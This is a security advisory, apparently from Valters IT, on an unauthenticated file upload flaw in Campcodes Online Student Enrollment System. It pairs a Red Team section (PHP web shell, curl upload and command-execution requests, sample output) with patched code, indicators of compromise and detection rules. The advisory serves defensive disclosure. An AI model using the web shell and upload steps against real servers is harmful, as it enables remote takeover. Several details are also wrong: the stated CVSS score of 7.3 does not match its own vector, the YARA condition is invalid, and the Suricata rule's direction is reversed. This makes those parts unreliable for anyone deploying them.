CVE-2025-14583

Executive Summary

CVE-2025-14583 is a critical unrestricted file upload vulnerability in Campcodes Online Student Enrollment System 1.0. The flaw resides in the /admin/register.php script, where the photo parameter is not properly validated. An unauthenticated remote attacker can upload arbitrary files, including web shells, leading to full server compromise. The vulnerability has a CVSS score of 7.3 (High) and a public exploit is available. No patch has been released by the vendor.

This is a PHP-based web application vulnerability, not related to any package manager (NPM, PyPI, Go, Ruby). Therefore, no Supply Chain & Package Security section is required.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.3 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – Full file read access.
• Integrity Impact: High (I:H) – Arbitrary file write/overwrite.
• Availability Impact: High (A:H) – Can lead to denial of service or full system takeover.

Threat Level: Critical. The combination of unauthenticated remote access and arbitrary file upload makes this a high-priority vulnerability for any organization using this software.

Deep Dive & Mechanics

The vulnerability exists in the file upload functionality of /admin/register.php. The application fails to validate the file type, size, or content of the uploaded photo parameter. An attacker can craft a malicious PHP file (e.g., a web shell) and upload it directly to the server. The uploaded file is typically stored in a web-accessible directory (e.g., /uploads/), allowing the attacker to execute arbitrary PHP code by accessing the uploaded file via a web browser.

The root cause is the lack of server-side validation. The application likely only checks for file existence or uses a simple MIME type check that can be easily bypassed by manipulating the HTTP request headers.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
// /admin/register.php (simplified)
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["photo"]["name"]);
move_uploaded_file($_FILES["photo"]["tmp_name"], $target_file);
?>

The code directly uses the user-supplied filename and moves the uploaded file without any validation.

Patched Code (Conceptual):

<?php
// /admin/register.php (patched)
$target_dir = "uploads/";
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$file_type = mime_content_type($_FILES["photo"]["tmp_name"]);
if (!in_array($file_type, $allowed_types)) {
    die("Invalid file type.");
}
$file_ext = strtolower(pathinfo($_FILES["photo"]["name"], PATHINFO_EXTENSION));
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
if (!in_array($file_ext, $allowed_ext)) {
    die("Invalid file extension.");
}
$new_filename = uniqid() . '.' . $file_ext;
$target_file = $target_dir . $new_filename;
move_uploaded_file($_FILES["photo"]["tmp_name"], $target_file);
?>

The patched code validates both the MIME type and file extension, and renames the file to prevent path traversal and arbitrary file execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Campcodes Online Student Enrollment System 1.0.
• Access to the /admin/register.php endpoint.

Exploit Steps:

1. Create a malicious PHP web shell (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Send a crafted HTTP POST request to /admin/register.php with the malicious file as the photo parameter.

   curl -X POST -F "photo=@shell.php" -F "name=test" -F "email=test@test.com" http://target/admin/register.php
   

3. Locate the uploaded file. The default upload directory is often uploads/. The filename may be preserved or modified. Check the response or use a directory brute-forcer.
4. Execute commands:

   curl http://target/uploads/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Detection & Response)

Detection:

• Monitor for POST requests to /admin/register.php with Content-Type: multipart/form-data.
• Look for file uploads with suspicious extensions (.php, .phtml, .php5, .shtml).
• Alert on files uploaded to /uploads/ that are not images (check MIME type).
• Use the YARA and Sigma rules provided below.

Response:

1. Isolate the affected server immediately.
2. Review web server logs for the attacker's IP and uploaded filenames.
3. Remove any unauthorized files from the uploads directory.
4. Check for signs of persistence (e.g., cron jobs, new user accounts).
5. Apply virtual patching (e.g., WAF rule to block .php uploads to /admin/register.php).

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /admin/register.php with Content-Disposition: form-data; name="photo"; filename="*.php"
• Outbound connections from the web server to unknown IPs on ports 80/443 (C2 traffic).
• Unusual User-Agent strings (e.g., curl/7.x, Go-http-client).

File System IOCs:

• Files in /var/www/html/uploads/ with .php, .phtml, .php5 extensions.
• Files named shell.php, cmd.php, r57.php, c99.php, or similar.
• Presence of /var/www/html/uploads/.htaccess with AddType application/x-httpd-php .txt (to allow PHP execution in other extensions).

Log IOCs:

• Apache/Nginx access logs showing POST /admin/register.php with a 200 response and a subsequent GET /uploads/<malicious_file>.php.
• PHP error logs showing PHP Warning: move_uploaded_file(...) or similar.

Detection Engineering

YARA Rule

rule CVE_2025_14583_WebShell_Upload {
    meta:
        description = "Detects web shell upload attempts targeting CVE-2025-14583"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14583"
    strings:
        $php_tag = "<?php"
        $system_func = /system\s*\(/
        $shell_func = /shell_exec\s*\(/
        $cmd_param = "cmd"
        $upload_path = "/admin/register.php"
    condition:
        all of ($php_tag, $system_func or $shell_func) and $cmd_param and $upload_path
}

Sigma Rule

title: CVE-2025-14583 Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /admin/register.php with PHP file uploads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/register.php'
        cs-content-type: 'multipart/form-data'
    file_extension:
        cs-uri-query|contains: '.php'
    condition: selection and file_extension
falsepositives:
    - Legitimate PHP file uploads (if any) - unlikely in this context
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-14583 Unrestricted File Upload Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/register.php"; http_uri;
    content:"multipart/form-data"; http_client_body;
    content:".php"; http_client_body;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Block access to /admin/register.php via web server configuration (e.g., .htaccess or Nginx location block).

   <Files "register.php">
       Require all denied
   </Files>
   

2. Remove the application if it is not critical for business operations.
3. Apply virtual patching using a WAF (e.g., ModSecurity) to block file uploads with PHP extensions.

   SecRule REQUEST_URI "/admin/register.php" "phase:2,id:1000002,deny,status:403,msg:'CVE-2025-14583 Blocked'"
   

Long-Term Fixes:

• Since no official patch exists, the vendor (Campcodes) must be contacted to release a fix.
• If the source code is available, implement the patched code shown in the "Vulnerable vs. Patched Code" section.
• Migrate to a different, actively maintained enrollment system.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided above.
• Monitor for any post-exploitation activity (e.g., reverse shells, data exfiltration).

Valters IT
Securing Digital Frontiers